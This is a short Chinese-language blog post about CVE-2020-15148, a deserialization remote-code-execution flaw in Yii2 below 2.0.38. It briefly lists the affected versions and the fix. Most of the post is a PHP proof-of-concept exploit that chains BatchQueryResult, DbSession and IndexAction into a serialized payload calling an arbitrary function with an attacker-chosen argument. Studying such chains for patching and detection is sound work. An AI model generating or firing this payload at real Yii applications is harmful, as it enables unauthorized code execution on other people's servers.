CVE-2020-15148 Yii框架反序列化RCE利用鏈 exp
阿新 • • 發佈:2020-09-19
簡介
如果在使用yii框架,並且在使用者可以控制的輸入處呼叫了unserialize()並允許特殊字元的情況下,會受到反序列化遠端命令命令執行漏洞攻擊。
該漏洞只是php 反序列化的執行鏈,必須要配合unserialize
函式才可以達到任意程式碼執行的危害。
該反序列化執行鏈在今年8月初已經公開,建議使用yii框架的同學排查
影響範圍
Yii2 <2.0.38
修復方案
目前官方已經禁止BatchQueryResult
類被反序列化
exp
<?php namespace yii\rest { class Action extends \yii\base\Action { public $checkAccess; } class IndexAction extends Action { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\base { class BaseObject { // } class Action { public $id; } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult extends BaseObject { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } $exp = new \yii\db\BatchQueryResult($func, $param); print(serialize($exp));